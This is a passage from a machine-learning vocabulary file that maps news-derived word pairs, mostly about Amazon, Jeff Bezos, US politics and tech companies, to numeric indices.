18152,\n  \"headquarters leaving\": 18153,\n  \"pff\": 18154,\n  \"kauffman san\": 18155,\n  \"formidable lobbying\": 18156,\n  \"jc return\": 18157,\n  \"monthly\": 18158,\n  \"push florida\": 18159,\n  \"ricardel\": 18160,\n  \"remaining 236\": 18161,\n  \"announce significant\": 18162,\n  \"blind zone\": 18163,\n  \"buy ladder\": 18164,\n  \"delivers lies\": 18165,\n  \"fancies\": 18166,\n  \"billionaire patrick\": 18167,\n  \"dear girls\": 18168,\n  \"wing president\": 18169,\n  \"view environmental\": 18170,\n  \"voters surveys\": 18171,\n  \"combative response\": 18172,\n  \"administration failure\": 18173,\n  \"private initiatives\": 18174,\n  \"far rockaway\": 18175,\n  \"california weather\": 18176,\n  \"tl delivery\": 18177,\n  \"issue general\": 18178,\n  \"controlled workplace\": 18179,\n  \"tariff hikes\": 18180,\n  \"cortez apparently\": 18181,\n  \"screengrab follow\": 18182,\n  \"defended sen\": 18183,\n  \"unusually private\": 18184,\n  \"wholly inadequate\": 18185,\n  \"holds technology\": 18186,\n  \"restaurant industry\": 18187,\n  \"oil ma\": 18188,\n  \"duart\": 18189,\n  \"favoritism\": 18190,\n  \"country total\": 18191,\n  \"developer conference\": 18192,\n  \"tastiest dividend\": 18193,\n  \"purging\": 18194,\n  \"training brings\": 18195,\n  \"hard fought\": 18196,\n  \"outbreaks parroting\": 18197,\n  \"diplomas\": 18198,\n  \"lam\": 18199,\n  \"union station\": 18200,\n  \"waldo emerson\": 18201,\n  \"seized national\": 18202,\n  \"washington weighing\": 18203,\n  \"easy money\": 18204,\n  \"provide complete\": 18205,\n  \"says report\": 18206,\n  \"countless acquisitions\": 18207,\n  \"award\": 18208,\n  \"kevin costner\": 18209,\n  \"make forests\": 18210,\n  \"tesla george\": 18211,\n  \"miller mylesmill\": 18212,\n  \"prepend showdetailsspancontent\": 18213,\n  \"economics rents\": 18214,\n  \"foreign citizens\": 18215,\n  \"utilities storm\": 18216,\n  \"quit amazon\": 18217,\n  \"formal advice\": 18218,\n  \"massive selection\": 18219,\n  \"biographer good\": 18220,\n  \"announcer saying\": 18221,\n  \"fref\": 18222,\n  \"called david\": 18223,\n  \"necessary mail\": 18224,\n  \"fizzled\": 18225,\n  \"say nasty\": 18226,\n  \"ny1 ny1\": 18227,\n  \"rex shutterstock\": 18228,\n  \"622 shares\": 18229,\n  \"media msm\": 18230,\n  \"assist hundreds\": 18231,\n  \"verizon nyse\": 18232,\n  \"daniel miller\": 18233,\n  \"upcoming multi\": 18234,\n  \"beliefs different\": 18235,\n  \"ordinary idiotic\": 18236,\n  \"ouch\": 18237,\n  \"week abramowitz\": 18238,\n  \"sparred publicly\": 18239,\n  \"file disclosures\": 18240,\n  \"lanes essentially\": 18241,\n  \"designed unlike\": 18242,\n  \"seethes\": 18243,\n  \"wegmann absolutely\": 18244,\n  \"snippets\": 18245,\n  \"youngster\": 18246,\n  \"relationship bezos\": 18247,\n  \"300x200 getty_173218731_200015422000928060_388160\": 18248,\n  \"investor following\": 18249,\n  \"insane failure\": 18250,\n  \"boston cbs\": 18251,\n  \"mexico seth\": 18252,\n  \"run ins\": 18253,\n  \"fund transit\": 18254,\n  \"actual monopolies\": 18255,\n  \"age\": 18256,\n  \"wrote employees\": 18257,\n  \"greatness according\": 18258,\n  \"eldest son\": 18259,\n  \"laughter\": 18260,\n  \"brooklyn academy\": 18261,\n  \"syndrome reveals\": 18262,\n  \"minor miracle\": 18263,\n  \"region detected\": 18264,\n  \"kavanaugh ascended\": 18265,\n  \"rare occasions\": 18266,\n  \"regulated industries\": 18267,\n  \"mes trump\": 18268,\n  \"paid notice\": 18269,\n  \"testimony regarding\": 18270,\n  \"democrat hopefuls\": 18271,\n  \"mail processing\": 18272,\n  \"lone prius\": 18273,\n  \"various mercenary\": 18274,\n  \"examining apple\": 18275,\n  \"ben baker\": 18276,\n  \"billionaire did\": 18277,\n  \"iphone parts\": 18278,\n  \"intensifies\": 18279,\n  \"terrible idea\": 18280,\n  \"prohibits\": 18281,\n  \"old billionaire\": 18282,\n  \"remeasurement\": 18283,\n  \"gov murphy\": 18284,\n  \"foia request\": 18285,\n  \"tuckercarlson\": 18286,\n  \"bartz editing\": 18287,\n  \"acosta karate\": 18288,\n  \"slansky calls\": 18289,\n  \"year hilton\": 18290,\n  \"instructional handcrafted\": 18291,\n  \"fed 2019\": 18292,\n  \"peek totally\": 18293,\n  \"finally understand\": 18294,\n  \"headquarter\": 18295,\n  \"twitch prime\": 18296,\n  \"archiving\": 18297,\n  \"recorded conversations\": 18298,\n  \"bolsonaro appointee\": 18299,\n  \"immigrant heavy\": 18300,\n  \"springfield virginia\": 18301,\n  \"relocate amazon\": 18302,\n  \"liberalism positively\": 18303,\n  \"contrast culp\": 18304,\n  \"internal corporate\": 18305,\n  \"competitors\": 18306,\n  \"crippled\": 18307,\n  \"wasn happy\": 18308,\n  \"decelerate\": 18309,\n  \"boyfriend dressed\": 18310,\n  \"millennials buckle\": 18311,\n  \"beg god\": 18312,\n  \"inventor dean\": 18313,\n  \"improving mail\": 18314,\n  \"northwest folklife\": 18315,\n  \"shares billionaire\": 18316,\n  \"anticipated amazon\": 18317,\n  \"google discovers\": 18318,\n  \"little surprise\": 18319,\n  \"mccarthy\": 18320,\n  \"ways\": 18321,\n  \"economic inequality\": 18322,\n  \"african people\": 18323,\n  \"apu\": 18324,\n  \"shift blame\": 18325,\n  \"meet demand\": 18326,\n  \"bezos maintains\": 18327,\n  \"crony corruption\": 18328,\n  \"time lauren\": 18329,\n  \"colony crack\": 18330,\n  \"threatened climate\": 18331,\n  \"red outlaws\": 18332,\n  \"justine\": 18333,\n  \"amusement\": 18334,\n  \"really based\": 18335,\n  \"policy change\": 18336,\n  \"equipped\": 18337,\n  \"stands states\": 18338,\n  \"shitting tools\": 18339,\n  \"monopoly questions\": 18340,\n  \"emmy nominations\": 18341,\n  \"walks free\": 18342,\n  \"hybrid public\": 18343,\n  \"controversial tax\": 18344,\n  \"compensation growth\": 18345,\n  \"election nvidia\": 18346,\n  \"trip president\": 18347,\n  \"day plus\": 18348,\n  \"wouldn occur\": 18349,\n  \"diyah pera\": 18350,\n  \"rifling\": 18351,\n  \"potus wished\": 18352,\n  \"meristem family\": 18353,\n  \"new offerings\": 18354,\n  \"justice isa\": 18355,\n  \"follow mike\": 18356,\n  \"hess writes\": 18357,\n  \"digital divide\": 18358,\n  \"delivery formula\": 18359,\n  \"graciously accepted\": 18360,\n  \"tuck school\": 18361,\n  \"job security\": 18362,\n  \"photo gage\": 18363,\n  \"pubg\": 18364,\n  \"point slightly\": 18365,\n  \"business ability\": 18366,\n  \"extended cameo\": 18367,\n  \"automatically reorder\": 18368,\n  \"rental subsidies\": 18369,\n  \"arizona human\": 18370,\n  \"led companies\": 18371,\n  \"gale\": 18372,\n  \"matters previously\": 18373,\n  \"uber delivery\": 18374,\n  \"happened report\": 18375,\n  \"monthly loss\": 18376,\n  \"nbc north\": 18377,\n  \"dress copy\": 18378,\n  \"acquire time\": 18379,\n  \"frames 2018\": 18380,\n  \"immigrant communities\": 18381,\n  \"oft abuses\": 18382,\n  \"commentcount null\": 18383,\n  \"calls sanchez\": 18384,\n  \"areprimarily\": 18385,\n  \"trump winery\": 18386,\n  \"amazon holdings\": 18387,\n  \"rooms\": 18388,\n  \"sets new\": 18389,\n  \"policy just\": 18390,\n  \"encouraging path\": 18391,\n  \"elmhurst\": 18392,\n  \"engine behavior\": 18393,\n  \"cost pressures\": 18394,\n  \"good especially\": 18395,\n  \"expand\": 18396,\n  \"summed\": 18397,\n  \"guided parking\": 18398,\n  \"hawkish\": 18399,\n  \"contractual arrangement\": 18400,\n  \"talented labor\": 18401,\n  \"baseball team\": 18402,\n  \"away overshadows\": 18403,\n  \"policy studies\": 18404,\n  \"treat bomb\": 18405,\n  \"legal groups\": 18406,\n  \"online storehouse\": 18407,\n  \"peek dan\": 18408,\n  \"amazonian\": 18409,\n  \"expenses associated\": 18410,\n  \"trump sanctuary\": 18411,\n  \"closed eyes\": 18412,\n  \"ht\": 18413,\n  \"negative sentiment\": 18414,\n  \"usps instead\": 18415,\n  \"sharp heres\": 18416,\n  \"walmart focused\": 18417,\n  \"worry amazon\": 18418,\n  \"play\": 18419,\n  \"station pen\": 18420,\n  \"underdog\": 18421,\n  \"attract americans\": 18422,\n  \"overachiever\": 18423,\n  \"reciprocity\": 18424,\n  \"sept results\": 18425,\n  \"session starts\": 18426,\n  \"distilling\": 18427,\n  \"incentives new\": 18428,\n  \"gawande returned\": 18429,\n  \"warren takes\": 18430,\n  \"real ponzi\": 18431,\n  \"does hq2\": 18432,\n  \"wanted\": 18433,\n  \"luring new\": 18434,\n  \"mouth shut\": 18435,\n  \"good harbor\": 18436,\n  \"issues list\": 18437,\n  \"long friendship\": 18438,\n  \"plan embedded\": 18439,\n  \"locka junk\": 18440,\n  \"spx update\": 18441,\n  \"solemn vow\": 18442,\n  \"political stardom\": 18443,\n  \"latest cnbc\": 18444,\n  \"corporate welfare\": 18445,\n  \"fined billion\": 18446,\n  \"llc updates\": 18447,\n  \"sundays\": 18448,\n  \"rates package\": 18449,\n  \"margo martindale\": 18450,\n  \"doesn interfere\": 18451,\n  \"sq ttwo\": 18452,\n  \"enthusiasts\": 18453,\n  \"regulated postal\": 18454,\n  \"source agreements\": 18455,\n  \"face rape\": 18456,\n  \"state lawmakers\": 18457,\n  \"coresight\": 18458,\n  \"shares advisory\": 18459,\n  \"exist putin\": 18460,\n  \"monahan\": 18461,\n  \"avoiding companies\": 18462,\n  \"bit ironic\": 18463,\n  \"mair backing\": 18464,\n  \"daniel hails\": 18465,\n  \"vicious verbal\": 18466,\n  \"cargo\": 18467,\n  \"antitrust common\": 18468,\n  \"government health\": 18469,\n  \"ernie soehl\": 18470,\n  \"canadian shakespearean\": 18471,\n  \"administration strategic\": 18472,\n  \"behemoth company\": 18473,\n  \"advisors big\": 18474,\n  \"negotiates\": 18475,\n  \"author uses\": 18476,\n  \"congress judicial\": 18477,\n  \"transformation plan\": 18478,\n  \"large national\": 18479,\n  \"chips helped\": 18480,\n  \"voyage\": 18481,\n  \"education group\": 18482,\n  \"register n970311\": 18483,\n  \"important component\": 18484,\n  \"popular\": 18485,\n  \"forbes bloomberg\": 18486,\n  \"q0 a4ee\": 18487,\n  \"cuts took\": 18488,\n  \"cash strapped\": 18489,\n  \"pressured equities\": 18490,\n  \"capacity market\": 18491,\n  \"ross asdourian\": 18492,\n  \"hoax designed\": 18493,\n  \"lr\": 18494,\n  \"bigly\": 18495,\n  \"new competition\": 18496,\n  \"ceo oracle\": 18497,\n  \"385x240 getty_173218731_200015422000928060_388160\": 18498,\n  \"bomey usa\": 18499,\n  \"eric kohn\": 18500,\n  \"claim airs\": 18501,\n  \"judson\": 18502,\n  \"course completely\": 18503,\n  \"jmartnyt\": 18504,\n  \"escalating costs\": 18505,\n  \"isn prosperity\": 18506,\n  \"sack minutes\": 18507,\n  \"scalpel\": 18508,\n  \"users pichai\": 18509,\n  \"brand sinclair\": 18510,\n  \"considered unreliable\": 18511,\n  \"dept gives\": 18512,\n  \"accounts shows\": 18513,\n  \"current national\": 18514,\n  \"conflicting information\": 18515,\n  \"minute trump\": 18516,\n  \"clinton advisor\": 18517,\n  \"year hosted\": 18518,\n  \"amazon ocasio\": 18519,\n  \"nnix1 bloomberg\": 18520,\n  \"customers christmas\": 18521,\n  \"slanted\": 18522,\n  \"aljazeera aljazeera\": 18523,\n  \"img_panoramicref getty_173218731_200015422000928060\": 18524,\n  \"month posted\": 18525,\n  \"empowering entrepreneurs\": 18526,\n  \"review process\": 18527,\n  \"receive speaking\": 18528,\n  \"billionaire tax\": 18529,\n  \"groups heightened\": 18530,\n  \"candidate released\": 18531,\n  \"hearing today\": 18532,\n  \"effects facebook\": 18533,\n  \"carry legitimacy\": 18534,\n  \"armed follower\": 18535,\n  \"committee spokesman\": 18536,\n  \"division right\": 18537,\n  \"month jeff\": 18538,\n  \"mark decision\": 18539,\n  \"asset depreciation\": 18540,\n  \"visiting amazon\": 18541,\n  \"nicole karlis\": 18542,\n  \"recently released\": 18543,\n  \"attacking jeff\": 18544,\n  \"authors income\": 18545,\n  \"industry new\": 18546,\n  \"morrissey vice\": 18547,\n  \"lives false\": 18548,\n  \"tenant underpinning\": 18549,\n  \"trademark related\": 18550,\n  \"conducted good\": 18551,\n  \"including majority\": 18552,\n  \"wound\": 18553,\n  \"receive stock\": 18554,\n  \"news spawned\": 18555,\n  \"recall\": 18556,\n  \"culturally appropriate\": 18557,\n  \"talent question\": 18558,\n  \"endorse trump\": 18559,\n  \"aws consulting\": 18560,\n  \"konst pay\": 18561,\n  \"hurricane ike\": 18562,\n  \"dictatorial actions\": 18563,\n  \"copies popular\": 18564,\n  \"stiller\": 18565,\n  \"produces\": 18566,\n  \"father president\": 18567,\n  \"strict line\": 18568,\n  \"marijuana market\": 18569,\n  \"opening remarks\": 18570,\n  \"existing users\": 18571,\n  \"yeah don\": 18572,\n  \"approach cleaving\": 18573,\n  \"brains google\": 18574,\n  \"decorations\": 18575,\n  \"2018 techtimes\": 18576,\n  \"badass iconimageurl\": 18577,\n  \"doss carmel\": 18578,\n  \"legislation expands\": 18579,\n  \"loan balance\": 18580,\n  \"presentations q1\": 18581,\n  \"state film\": 18582,\n  \"commission nationale\": 18583,\n  \"chesapeake\": 18584,\n  \"air balloon\": 18585,\n  \"intuitive young\": 18586,\n  \"165 points\": 18587,\n  \"downpour\": 18588,\n  \"investable assets\": 18589,\n  \"exempt\": 18590,\n  \"sent 135\": 18591,\n  \"sparked frenzy\": 18592,\n  \"n0 break\": 18593,\n  \"character driven\": 18594,\n  \"important step\": 18595,\n  \"work based\": 18596,\n  \"analysts surveyed\": 18597,\n  \"foxborough mass\": 18598,\n  \"award date\": 18599,\n  \"site amid\": 18600,\n  \"terri bradfield\": 18601,\n  \"beast published\": 18602,\n  \"hiv does\": 18603,\n  \"delivery fleets\": 18604,\n  \"increasing political\": 18605,\n  \"investing principle\": 18606,\n  \"hydraulic\": 18607,\n  \"historic rematch\": 18608,\n  \"acquiring amazon\": 18609,\n  \"digital version\": 18610,\n  \"auto related\": 18611,\n  \"digital ordering\": 18612,\n  \"snl appearance\": 18613,\n  \"revealing messages\": 18614,\n  \"presence combusted\": 18615,\n  \"8450\": 18616,\n  \"thrive efficacy\": 18617,\n  \"algebra\": 18618,\n  \"9million\": 18619,\n  \"modestly\": 18620,\n  \"nixon administration\": 18621,\n  \"relief cool\": 18622,\n  \"divorce pegged\": 18623,\n  \"qorvo\": 18624,\n  \"presidential aspirations\": 18625,\n  \"tracey grossman\": 18626,\n  \"helps lead\": 18627,\n  \"obliterate human\": 18628,\n  \"ultimately amazon\": 18629,\n  \"trump declining\": 18630,\n  \"italy bond\": 18631,\n  \"developments emerged\": 18632,\n  \"highly embarrassing\": 18633,\n  \"threats recruiters\": 18634,\n  \"isn usually\": 18635,\n  \"sophisticated algorithms\": 18636,\n  \"sites additionally\": 18637,\n  \"choice award\": 18638,\n  \"midterm projections\": 18639,\n  \"customer stuff\": 18640,\n  \"deepest discounts\": 18641,\n  \"tougher environments\": 18642,\n  \"discern running\": 18643,\n  \"union corporations\": 18644,\n  \"american household\": 18645,\n  \"pillpack acquisition\": 18646,\n  \"backlash jeff\": 18647,\n  \"deteriorating corporate\": 18648,\n  \"purchased directly\": 18649,\n  \"bezos website\": 18650,\n  \"company news\": 18651,\n  \"administration sights\": 18652,\n  \"great director\": 18653,\n  \"guilty grave\": 18654,\n  \"weighted basis\": 18655,\n  \"favored striking\": 18656,\n  \"uber wants\": 18657,\n  \"venue operations\": 18658,\n  \"tax barrier\": 18659,\n  \"hiking starter\": 18660,\n  \"bookstore experience\": 18661,\n  \"blade\": 18662,\n  \"criticize trump\": 18663,\n  \"change amazon\": 18664,\n  \"student aid\": 18665,\n  \"latest signal\": 18666,\n  \"house gives\": 18667,\n  \"yemeni\": 18668,\n  \"preventable\": 18669,\n  \"requires guaranteed\": 18670,\n  \"trump time\": 18671,\n  \"tweet lashing\": 18672,\n  \"heated meeting\": 18673,\n  \"sexual orientation\": 18674,\n  \"powerhouse\": 18675,\n  \"treaty governing\": 18676,\n  \"employs thousands\": 18677,\n  \"cool treat\": 18678,\n  \"day innovating\": 18679,\n  \"iranians\": 18680,\n  \"store opening\": 18681,\n  \"politico check\": 18682,\n  \"canadian\": 18683,\n  \"vox\": 18684,\n  \"crazy leap\": 18685,\n  \"athey\": 18686,\n  \"carrier relationships\": 18687,\n  \"kwame adjei\": 18688,\n  \"nanette\": 18689,\n  \"invest 223\": 18690,\n  \"bid meet\": 18691,\n  \"won 115\": 18692,\n  \"transportation sector\": 18693,\n  \"vancouver international\": 18694,\n  \"2003 president\": 18695,\n  \"icann club\": 18696,\n  \"prohibits president\": 18697,\n  \"grudges\": 18698,\n  \"service benefits\": 18699,\n  \"state newspaper\": 18700,\n  \"visually impaired\": 18701,\n  \"bredesen\": 18702,\n  \"writing test\": 18703,\n  \"amazon lessen\": 18704,\n  \"pittsburgh officials\": 18705,\n  \"accept satan\": 18706,\n  \"2018 people\": 18707,\n  \"authorities saying\": 18708,\n  \"don question\": 18709,\n  \"purchases\": 18710,\n  \"forcing amazon\": 18711,\n  \"mortal half\": 18712,\n  \"base shrunk\": 18713,\n  \"homepod\": 18714,\n  \"pinching program\": 18715,\n  \"history jeff\": 18716,\n  \"tax structures\": 18717,\n  \"enquirer published\": 18718,\n  \"say doing\": 18719,\n  \"lost wealth\": 18720,\n  \"product google\": 18721,\n  \"revenue necessary\": 18722,\n  \"proactively\": 18723,\n  \"salacious revelations\": 18724,\n  \"surprise sales\": 18725,\n  \"4e8uceqmon elissa\": 18726,\n  \"uniformly upbeat\": 18727,\n  \"digital walmart\": 18728,\n  \"yoru\": 18729,\n  \"including republicans\": 18730,\n  \"2125et copyright\": 18731,\n  \"launches antitrust\": 18732,\n  \"fueling\": 18733,\n  \"clear violation\": 18734,\n  \"views feel\": 18735,\n  \"forwarding operation\": 18736,\n  \"information requests\": 18737,\n  \"discovered secret\": 18738,\n  \"debuting\": 18739,\n  \"trump usual\": 18740,\n  \"release letter\": 18741,\n  \"travelled\": 18742,\n  \"boy following\": 18743,\n  \"bryant\": 18744,\n  \"illegal asylum\": 18745,\n  \"wise investment\": 18746,\n  \"innovative products\": 18747,\n  \"humble story\": 18748,\n  \"counts\": 18749,\n  \"glove\": 18750,\n  \"initial bet\": 18751,\n  \"parties aiding\": 18752,\n  \"congregation\": 18753,\n  \"meant state\": 18754,\n  \"gaining members\": 18755,\n  \"sourcebuild\": 18756,\n  \"hiltzikm status\": 18757,\n  \"accuses reporters\": 18758,\n  \"foretold politics\": 18759,\n  \"culture make\": 18760,\n  \"antifraud measures\": 18761,\n  \"feed 3a\": 18762,\n  \"street expectations\": 18763,\n  \"nastier 2017\": 18764,\n  \"dark drama\": 18765,\n  \"pells\": 18766,\n  \"signal\": 18767,\n  \"raft\": 18768,\n  \"388 shares\": 18769,\n  \"era neoconservative\": 18770,\n  \"announced oracle\": 18771,\n  \"new rtx\": 18772,\n  \"message doctor\": 18773,\n  \"tweeting recently\": 18774,\n  \"functions including\": 18775,\n  \"accept payment\": 18776,\n  \"hisilli donald\": 18777,\n  \"tws\": 18778,\n  \"web tv\": 18779,\n  \"districts\": 18780,\n  \"bigger increase\": 18781,\n  \"bezos intends\": 18782,\n  \"4450\": 18783,\n  \"catalog google\": 18784,\n  \"chuck burton\": 18785,\n  \"pointe capital\": 18786,\n  \"produced contracts\": 18787,\n  \"171\": 18788,\n  \"investor caution\": 18789,\n  \"massachusetts ex\": 18790,\n  \"bezos flipped\": 18791,\n  \"right things\": 18792,\n  \"gotten fair\": 18793,\n  \"firefighters battling\": 18794,\n  \"demand skyrocketed\": 18795,\n  \"subject security\": 18796,\n  \"farms day\": 18797,\n  \"challengers epa\": 18798,\n  \"government sanchez\": 18799,\n  \"employee complained\": 18800,\n  \"lifespan\": 18801,\n  \"hiromi\": 18802,\n  \"employee hardships\": 18803,\n  \"trade meeting\": 18804,\n  \"seemingly unintentional\": 18805,\n  \"molestation\": 18806,\n  \"john damian\": 18807,\n  \"interview kelly\": 18808,\n  \"sectionection lead\": 18809,\n  \"cy vance\": 18810,\n  \"sordid history\": 18811,\n  \"dipped sharply\": 18812,\n  \"connolly demonstrating\": 18813,\n  \"retail patil\": 18814,\n  \"big dogs\": 18815,\n  \"trump claims\": 18816,\n  \"lawsuit\": 18817,\n  \"illinois women\": 18818,\n  \"selena\": 18819,\n  \"demonstrating\": 18820,\n  \"bolsonaro visit\": 18821,\n  \"remember live\": 18822,\n  \"right violations\": 18823,\n  \"cdc document\": 18824,\n  \"confidential anthony\": 18825,\n  \"poverty\": 18826,\n  \"obama administration\": 18827,\n  \"tax demanded\": 18828,\n  \"adrift just\": 18829,\n  \"reagan national\": 18830,\n  \"unscrupulous\": 18831,\n  \"bezos brouhaha\": 18832,\n  \"door amazon\": 18833,\n  \"specific details\": 18834,\n  \"industry free\": 18835,\n  \"euractiv france\": 18836,\n  \"near trillion\": 18837,\n  \"songs filled\": 18838,\n  \"ethnicity\": 18839,\n  \"secretary hasn\": 18840,\n  \"urban scholars\": 18841,\n  \"inciting\": 18842,\n  \"derives\": 18843,\n  \"new approach\": 18844,\n  \"unfair competitive\": 18845,\n  \"potential wildcard\": 18846,\n  \"bloody human\": 18847,\n  \"content jason\": 18848,\n  \"panned\": 18849,\n  \"time covers\": 18850,\n  \"immigrant workers\": 18851,\n  \"scary wouldn\": 18852,\n  \"university seattle\": 18853,\n  \"google preferred\": 18854,\n  \"commission nys\": 18855,\n  \"stoic housewife\": 18856,\n  \"nearly 79million\": 18857,\n  \"encourage facilitate\": 18858,\n  \"snl chose\": 18859,\n  \"deep blue\": 18860,\n  \"service exclusive\": 18861,\n  \"unimaginable\": 18862,\n  \"2870\": 18863,\n  \"damn near\": 18864,\n  \"houston amazon\": 18865,\n  \"tim culpan\": 18866,\n  \"adds postmaster\": 18867,\n  \"court recommended\": 18868,\n  \"consulting services\": 18869,\n  \"action rosenstein\": 18870,\n  \"dryer\": 18871,\n  \"125 years\": 18872,\n  \"cage season\": 18873,\n  \"tax total\": 18874,\n  \"mugs\": 18875,\n  \"state bar\": 18876,\n  \"fellow movie\": 18877,\n  \"trump daddy\": 18878,\n  \"openly expressed\": 18879,\n  \"discussion look\": 18880,\n  \"sectors trump\": 18881,\n  \"trump impeachment\": 18882,\n  \"illegal product\": 18883,\n  \"west joined\": 18884,\n  \"american newsrooms\": 18885,\n  \"time tinkering\": 18886,\n  \"cbs app\": 18887,\n  \"disgraceful donald\": 18888,\n  \"eye joint\": 18889,\n  \"crypto winter\": 18890,\n  \"gov mitt\": 18891,\n  \"firm compared\": 18892,\n  \"golden center\": 18893,\n  \"businesswire minute\": 18894,\n  \"large shipment\": 18895,\n  \"authoritarianism amazon\": 18896,\n  \"people need\": 18897,\n  \"194\": 18898,\n  \"misinformation filters\": 18899,\n  \"5000\": 18900,\n  \"overwhelmingly pleased\": 18901,\n  \"helsinki vantaa\": 18902,\n  \"amzn netflix\": 18903,\n  \"rubbersole\": 18904,\n  \"o8\": 18905,\n  \"lose money\": 18906,\n  \"presidential bid\": 18907,\n  \"home\": 18908,\n  \"subsidised\": 18909,\n  \"stocks rockets\": 18910,\n  \"gun brock\": 18911,\n  \"collects orders\": 18912,\n  \"silent sam\": 18913,\n  \"denying heartland\": 18914,\n  \"sales gimmick\": 18915,\n  \"html showdetailsspancontent\": 18916,\n  \"business rose\": 18917,\n  \"suffered shrinking\": 18918,\n  \"shortlisted\": 18919,\n  \"um canada\": 18920,\n  \"enforce statute\": 18921,\n  \"ceremony amazon\": 18922,\n  \"actually government\": 18923,\n  \"account registered\": 18924,\n  \"close president\": 18925,\n  \"biggest time\": 18926,\n  \"internal strategy\": 18927,\n  \"recent overarching\": 18928,\n  \"rocket deposited\": 18929,\n  \"protesters hold\": 18930,\n  \"newlywed\": 18931,\n  \"sourced domestically\": 18932,\n  \"black market\": 18933,\n  \"china cramer\": 18934,\n  \"doubleclick buy\": 18935,\n  \"surveyed 900\": 18936,\n  \"manducatis\": 18937,\n  \"esteemed\": 18938,\n  \"democratic nominations\": 18939,\n  \"sanchez attend\": 18940,\n  \"leafs\": 18941,\n  \"cedar sigo\": 18942,\n  \"khq tv\": 18943,\n  \"tremendous lobbying\": 18944,\n  \"2019 david\": 18945,\n  \"schuster spokesperson\": 18946,\n  \"archive connect\": 18947,\n  \"market manipulation\": 18948,\n  \"mayor effort\": 18949,\n  \"broadbandbreakfast\": 18950,\n  \"lewrockwell\": 18951,\n  \"mcdougal ronald\": 18952,\n  \"vortex brought\": 18953,\n  \"nurse\": 18954,\n  \"conversely cares\": 18955,\n  \"basically calling\": 18956,\n  \"creation development\": 18957,\n  \"defended amazon\": 18958,\n  \"companion\": 18959,\n  \"street average\": 18960,\n  \"shirk\": 18961,\n  \"firm blue\": 18962,\n  \"schuster\": 18963,\n  \"ami produced\": 18964,\n  \"remain friends\": 18965,\n  \"500 working\": 18966,\n  \"educational systems\": 18967,\n  \"declaratory\": 18968,\n  \"enquirer fervor\": 18969,\n  \"open closed\": 18970,\n  \"broader review\": 18971,\n  \"howard outlining\": 18972,\n  \"based determination\": 18973,\n  \"kicking man\": 18974,\n  \"clarkson joined\": 18975,\n  \"constitutes\": 18976,\n  \"receive\": 18977,\n  \"start world\": 18978,\n  \"post donald\": 18979,\n  \"ser_footer_blurb\": 18980,\n  \"lingering today\": 18981,\n  \"facebooks\": 18982,\n  \"rep location\": 18983,\n  \"mainland economy\": 18984,\n  \"billionaire alleged\": 18985,\n  \"cave flooded\": 18986,\n  \"claire ohjuliatweets\": 18987,\n  \"guild income\": 18988,\n  \"provided substantial\": 18989,\n  \"timely pick\": 18990,\n  \"regulating technology\": 18991,\n  \"scamming\": 18992,\n  \"presidential conventions\": 18993,\n  \"make real\": 18994,\n  \"good don\": 18995,\n  \"seattle weather\": 18996,\n  \"bezos senior\": 18997,\n  \"present tax\": 18998,\n  \"cs1avpng6l\": 18999,\n  \"small bags\": 19000,\n  \"pro regulation\": 19001,\n  \"government efficiencies\": 19002,\n  \"258\": 19003,\n  \"emergency executive\": 19004,\n  \"response based\": 19005,\n  \"bronx tale\": 19006,\n  \"neighborhoods\": 19007,\n  \"raises red\": 19008,\n  \"crains man\": 19009,\n  \"overturns\": 19010,\n  \"despite oracle\": 19011,\n  \"annual convention\": 19012,\n  \"statement posted\": 19013,\n  \"probe cases\": 19014,\n  \"service centers\": 19015,\n  \"overall usage\": 19016,\n  \"entirety attorney\": 19017,\n  \"megdal warm\": 19018,\n  \"upbeat statement\": 19019,\n  \"containerid oncontententryload\": 19020,\n  \"coordinate delivery\": 19021,\n  \"size new\": 19022,\n  \"hit shoppers\": 19023,\n  \"daily\": 19024,\n  \"summit welcome\": 19025,\n  \"president slip\": 19026,\n  \"swiss bank\": 19027,\n  \"withhold funding\": 19028,\n  \"particular vendor\": 19029,\n  \"amica ali\": 19030,\n  \"policies canceling\": 19031,\n  \"average consumer\": 19032,\n  \"forestland illegally\": 19033,\n  \"amazons face\": 19034,\n  \"book general\": 19035,\n  \"robert jones\": 19036,\n  \"total sh\": 19037,\n  \"judge orders\": 19038,\n  \"hayden\": 19039,\n  \"comedy central\": 19040,\n  \"lawsuits involving\": 19041,\n  \"heart confirming\": 19042,\n  \"society including\": 19043,\n  \"services recommendations\": 19044,\n  \"david garrick\": 19045,\n  \"pithia\": 19046,\n  \"senior campaign\": 19047,\n  \"ceo attributed\": 19048,\n  \"sulzberger responded\": 19049,\n  \"chain market\": 19050,\n  \"2019 model\": 19051,\n  \"john harney\": 19052,\n  \"huge error\": 19053,\n  \"quoted chuck\": 19054,\n  \"tax collection\": 19055,\n  \"crash weight\": 19056,\n  \"hearings carrying\": 19057,\n  \"michael yerger\": 19058,\n  \"things sacrificed\": 19059,\n  \"distribution arm\": 19060,\n  \"air items\": 19061,\n  \"goldwater range\": 19062,\n  \"earned rights\": 19063,\n  \"emily biddle\": 19064,\n  \"purported culprits\": 19065,\n  \"main factor\": 19066,\n  \"leach\": 19067,\n  \"269 million\": 19068,\n  \"shares wetherby\": 19069,\n  \"coincidence chose\": 19070,\n  \"quarter fastest\": 19071,\n  \"independent group\": 19072,\n  \"chris grabenstein\": 19073,\n  \"larsson books\": 19074,\n  \"discuss sanctuary\": 19075,\n  \"light outside\": 19076,\n  \"consumers jolley\": 19077,\n  \"hurricane headlineplaintext\": 19078,\n  \"regulatory political\": 19079,\n  \"north south\": 19080,\n  \"brands lose\": 19081,\n  \"election travel\": 19082,\n  \"good budget\": 19083,\n  \"unnecessary tariffs\": 19084,\n  \"sanders claims\": 19085,\n  \"celebrates\": 19086,\n  \"companies don\": 19087,\n  \"stung facebook\": 19088,\n  \"netflix netflix\": 19089,\n  \"digital practice\": 19090,\n  \"series fear\": 19091,\n  \"email bio\": 19092,\n  \"cgc shot\": 19093,\n  \"europe fining\": 19094,\n  \"way data\": 19095,\n  \"business services\": 19096,\n  \"galling\": 19097,\n  \"community teresa\": 19098,\n  \"earlier job\": 19099,\n  \"voter purges\": 19100,\n  \"republican candidates\": 19101,\n  \"gandel explores\": 19102,\n  \"halzack big\": 19103,\n  \"thesubcommittee\": 19104,\n  \"monthly press\": 19105,\n  \"increased global\": 19106,\n  \"ongoing impact\": 19107,\n  \"report especially\": 19108,\n  \"did big\": 19109,\n  \"relatively small\": 19110,\n  \"crosses associated\": 19111,\n  \"photos revealing\": 19112,\n  \"inadequate wages\": 19113,\n  \"hinted\": 19114,\n  \"capsizes killing\": 19115,\n  \"drivers making\": 19116,\n  \"ground relationships\": 19117,\n  \"expanded businesses\": 